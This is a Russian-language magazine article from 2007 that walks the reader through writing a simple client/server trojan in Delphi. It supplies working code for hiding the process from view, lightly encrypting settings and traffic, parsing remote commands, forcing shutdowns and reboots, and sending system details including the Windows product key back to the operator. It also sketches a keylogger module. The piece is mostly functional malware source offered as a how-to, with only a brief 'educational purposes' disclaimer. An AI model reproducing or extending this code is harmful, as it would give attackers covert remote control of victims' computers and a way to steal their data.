Урок анатомии. Трой

Для чего используется троянская программа? Ответ прост: практически для всего. Троянцы используются для шпионажа, открытия портов и поддержки их в открытом виде, кражи личной информации, удаленного управления. В общем, используются для всего. Да и распространились они достаточно хорошо (особенно этому способствовало появление программ-генераторов). Сегодня очень просто "написать" свой троян: взял программу- генератор, выбрал нужные функции, и все.

Но достойные программы этого назначения пишутся редко и не каждым — другие лишь их модифицируют. В этой статье мы посмотрим, из чего состоит простейшая троянская программа, написанная на Делфи по технологии клиент/сервер. Как многим уже стало ясно, эта технология поддерживает связь программы, заразившей машину, с серверной частью, установленной у злоумышленника. Обычно это используется для удаленного управления компьютером-жертвой. Итак, для начала нужно выбрать между побайтовой и построковой работой. Ниже приведен пример посторокового протокола обмена:

com.[]sig.[]par.[]par.[]par++
Сокращения:
com. — команда
sig. — сигнатура
par. — параметр
[ ] — разделитель (разделителем может быть любой символ, который точно не встретится в самой команде или в параметре).

Естественно, следует привести пример реализации такого протокола обмена:

function _parser(str:string):tstringlist;
var
s : tstringlist;
i : integer;
st : integer;
sp : boolean;
begin
st := 0;
sp := true;
s := tstringlist.create;
s.add('');
for i := 1 to length(str) do
begin
if str[i] = '†' then
begin
if not sp then
begin
inc(st);
s.add('');
end;
sp := true;
end
else
begin
sp := false;
s.strings[st] := s.strings[st] + str[i];
end;
end;
if sp then s.delete(s.count-1);
result:=s;
end;

Функция разделяет переданную строчку на слова. Разделителем здесь является символ "†".
У большинства троянов обмен данными идет по нескольким портам одновременно. Это позволяет разделить как трафик, так и команды по спецификации. Скажем, через первый порт идет отсылка информации злоумышленнику, а через второй принимаются команды, направленные трою. Конечно, это делает работу удобнее и быстрее, но это облегчает процесс определения троянской программы. После реализации протокола обмена можно заняться той частью, которая будет делать троянскую программу невидимой для посторонних глаз. Способов существует, безусловно, множество, мы же рассмотрим только один, и самый легкий:

type
tregisterserviceprocess = function (dwprocessid,dwtype:dword) : dword;
stdcall;
При создании формы пишем следующее:
var
hndl : thandle;
registerserviceprocess : tregisterserviceprocess;
begin
hndl:=loadlibrary('KERNEL32.DLL');
registerserviceprocess:=getprocaddress(hndl,'RegisterServiceProcess');
registerserviceprocess(getcurrentprocessid,1);
freelibrary(hndl);
Обязательно указываем в проекте следующий параметр:
application.showmainform:=false;

Все значения — такие, как порт, пароли и т.д. — должны храниться в зашифрованном виде. Сильно громоздкие и сложные алгоритмы по шифровке использовать не следует, т.к. это все равно не спасет от тех, кто действительно захочет получить эту информацию. Следующий алгоритм будет, пожалуй, наиболее подходящим:

function crypt(str:string):string;
var
len : integer;
a : integer;
b : integer;
c : integer;
d : integer;
r : string;
begin
d := 13;
r := '';
len := length(str);
for a := 1 to len do
begin
b := ord(str[a]);
b := b — 32;
c := b xor d;
c := c + 32;
r := r + chr(c);
d := d + 1;
end;
result := r;
end;

Такой же алгоритм можно использовать и для шифровки трафика — тогда немного поменяем схему: сначала трафик передается функции crypt, а потом — уже _parser. После окончания кодинга протокола обмена и шифровки значений идет тело самого троя. При написании могут использоваться самые разные схемы, мы же используем наиболее понятную (см. рис.). Как видите, при запуске троян становится невидимым, потом инсталлируется в систему и переходит в состояние ожидания, но отдельно висит offline keylogger, который периодически сохраняет свой буфер в укромное место. Кроме keylogger, еще ping-модуль висит, всегда готовый ответить на запрос. При получении некоего трафика он проходит через _parser-модуль, который еще определяет, то ли это, что надо, или это просто неправильный запрос не от клиента. Если пароль введен правильно, то последующий трафик сразу идет на командный модуль. Некоторые модули на схеме связаны не только с основным, но и с командным модулем потому, что, например, модуль remote ping включается только через команду, а keylogger высылает записанные им клавиши тоже только при поступлении соответствующей команды. На самом деле это упрощенная схема — сюда можно еще много чего добавить, но это уже ваше дело. А теперь я хотел бы немного отойти от теории и чуть-чуть приблизиться к практике. Вот примеры некоторых команд:

Это пример команды messagebox. Я не буду объяснять значение всех переменных, т.к. это всего лишь пример, и здесь и так все понятно:

_com — команда
_data — ответ функции _parser
const
_line = #13+#10;
_icon : array [0..4] of integer=(0,mb_iconexclamation,
mb_iconinformation,mb_iconstop,mb_iconquestion);

############################################################
if _com = 2 then
begin
if _data.count = 6 then
if (strtoint(_data[5]) = 0) or
(strtoint(_data[5]) = 1) or
(strtoint(_data[5]) = 2) or
(strtoint(_data[5]) = 3) or
(strtoint(_data[5]) = 4) then
begin
if _data[2] = '1' then
begin
if messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_ok + _icon[strtoint(_data[5])]) <> 0 then
begin
socket.sendtext(_name+' : true {2,1,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : ok {2,1,'+_data[5]+'}'+_line);
end;
end;
if _data[2] = '2' then
begin
if messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_okcancel + _icon[strtoint(_data[5])]) = idok then
begin
socket.sendtext(_name+' : true {2,2,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : ok {2,2,'+_data[5]+'}'+_line);
end else
begin
socket.sendtext(_name+' : true {2,2,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : cancel {2,2,'+_data[5]+'}'+_line);
end;
end;
if _data[2] = '3' then
begin
if messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_yesno + _icon[strtoint(_data[5])]) = idyes then
begin
socket.sendtext(_name+' : true {2,3,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : yes {2,3,'+_data[5]+'}'+_line);
end else
begin
socket.sendtext(_name+' : true {2,3,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : no {2,3,'+_data[5]+'}'+_line);
end;
end;
if _data[2] = '4' then
begin
k := messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_abortretryignore + _icon[strtoint(_data[5])]);
if k = idabort then
begin
socket.sendtext(_name+' : true {2,4,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : abort {2,4,'+_data[5]+'}'+_line);
end else
if k = idretry then
begin
socket.sendtext(_name+' : true {2,4,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : retry {2,4,'+_data[5]+'}'+_line);
end else
if k = idignore then
begin
socket.sendtext(_name+' : true {2,4,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : ignore {2,4,'+_data[5]+'}'+_line);
end;
end;
if _data[2] = '5' then
begin
k := messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_yesnocancel + _icon[strtoint(_data[5])]);
if k = idyes then
begin
socket.sendtext(_name+' : true {2,5,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : yes {2,5,'+_data[5]+'}'+_line);
end else
if k = idno then
begin
socket.sendtext(_name+' : true {2,5,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : no {2,5,'+_data[5]+'}'+_line);
end else
if k = idcancel then
begin
socket.sendtext(_name+' : true {2,5,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : cancel {2,5,'+_data[5]+'}'+_line);
end;
end;
if _data[2] = '6' then
begin
if messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_retrycancel + _icon[strtoint(_data[5])]) = idretry then
begin
socket.sendtext(_name+' : true {2,6,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : retry {2,6,'+_data[5]+'}'+_line);
end else
begin
socket.sendtext(_name+' : true {2,6,'+_data[5]+'}'+_line);
socket.sendtext(_name+' : cancel {2,6,'+_data[5]+'}'+_line);
end;
end;
exit;
end;
end;

Пример команды exitwindows:

if _com = 6 then
begin
if _data.count = 3 then
begin
if _data[2] = '1' then
begin
socket.sendtext(_name+' : true {6,1}'+_line);
exitwindows(ewx_force,1);
end else
if _data[2] = '2' then
begin
socket.sendtext(_name+' : true {6,2}'+_line);
exitwindows(ewx_logoff,1);
end else
if _data[2] = '3' then
begin
socket.sendtext(_name+' : true {6,3}'+_line);
exitwindows(ewx_poweroff,1);
end else
if _data[2] = '4' then
begin
socket.sendtext(_name+' : true {6,4}'+_line);
exitwindows(ewx_reboot,1);
end;
if _data[2] = '5' then
begin
socket.sendtext(_name+' : true {6,5}'+_line);
exitwindows(ewx_shutdown,1);
end;
exit;
end;
end;

Сбор некоторых сведений о системе:

if _com = 7 then
begin
if _data.count = 2 then
begin
_inf := tregistry.create;
_inf.rootkey:=hkey_local_machine;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('Version')
else
st := 'unknown';
socket.sendtext(_name+' : system : '+st+' {7}'+_line);
_inf.closekey;
if
_inf.openkey('hardware\description\system\centralprocessor\0',true)
= true then
st := _inf.readstring('vendoridentifier')
else
st := 'unknown';
socket.sendtext(_name+' : processor : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('config\0001\display\settings',true) = true then
st := _inf.readstring('resolution')
else
st := 'unknown';
socket.sendtext(_name+' : resolution : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('config\0001\display\settings',true) = true then
st := _inf.readstring('bitsperpixel')
else
st := 'unknown';
socket.sendtext(_name+' : bits per pixel : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('systemroot')
else
st := 'unknown';
socket.sendtext(_name+' : system root : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('productkey')
else
st := 'unknown';
socket.sendtext(_name+' : product key : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('productname')
else
st := 'unknown';
socket.sendtext(_name+' : product name : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('programfilespath')
else
st := 'unknown';
if st = '' then
begin
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('programfilesdir')
else
st := 'unknown';
end;
socket.sendtext(_name+' : programfiles path : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('registeredorganization')
else
st := 'unknown';
socket.sendtext(_name+' : registered organization : '+st+'
{7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('registeredowner')
else
st := 'unknown';
socket.sendtext(_name+' : registered owner : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('sm_accessoriesname')
else
st := 'unknown';
socket.sendtext(_name+' : accessories name : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('versionnumber')
else
st := 'unknown';
socket.sendtext(_name+' : version number : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('wallpaperdir')
else
st := 'unknown';
socket.sendtext(_name+' : wall paper dir : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('productid')
else
st := 'unknown';
socket.sendtext(_name+' : product id : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('otherdevicepath')
else
st := 'unknown';
socket.sendtext(_name+' : other device path : '+st+' {7}'+_line);
_inf.closekey;
if _inf.openkey('software\microsoft\windows\currentversion',true)
= true then
st := _inf.readstring('mediapath')
else
st := 'unknown';
socket.sendtext(_name+' : media path : '+st+' {7}'+_line);
_inf.closekey;
_inf.destroy;
exit;
end;
end;

Проставление приоритета своему процессу:

if _com = 14
then
begin
if _data.count = 2 then
begin
if pr = false then
begin
processid := getcurrentprocessid;
processhandle :=
openprocess(process_set_information,false,processid);
setpriorityclass(processhandle,realtime_priority_class);
threadhandle := getcurrentthread;
setthreadpriority(threadhandle,thread_priority_time_critical);
socket.sendtext(_name+' : true (on) {14}'+_line);
pr := true;
end
else
begin
processid := getcurrentprocessid;
processhandle :=
openprocess(process_set_information,false,processid);
setpriorityclass(processhandle,normal_priority_class);
threadhandle := getcurrentthread;
setthreadpriority(threadhandle,thread_priority_normal);
socket.sendtext(_name+' : true (off) {14}'+_line);
pr := false;
end;
exit;
end;
end;

Естественно, это только частный случай. В других же представителях рода троянов могут использоваться совершенно другие функции. Краткий список функций обычного (не надуманного) трояна вы найдете на форуме по адресу: сайт Вот мы и рассмотрели код простой троянской программы, написанной на Делфи по технологии клиент/сервер. На это все. Если кого-то заинтересовала тема, то продолжение ее (правда, не в моем исполнении) вы сможете найти на форуме портала сайт в разделе "Программирование для чайников", тема "Программирование под виндовс".

P.S.: Все вышеизложенные сведения представлены только в образовательных целях, автор не несет никакой ответственности за использование материалов статьи в злонамеренных целях.

Евгений Кучук, Spider Agent, spideragent@tut.by


Компьютерная газета. Статья была опубликована в номере 11 за 2007 год в рубрике безопасность

©1997-2024 Компьютерная газета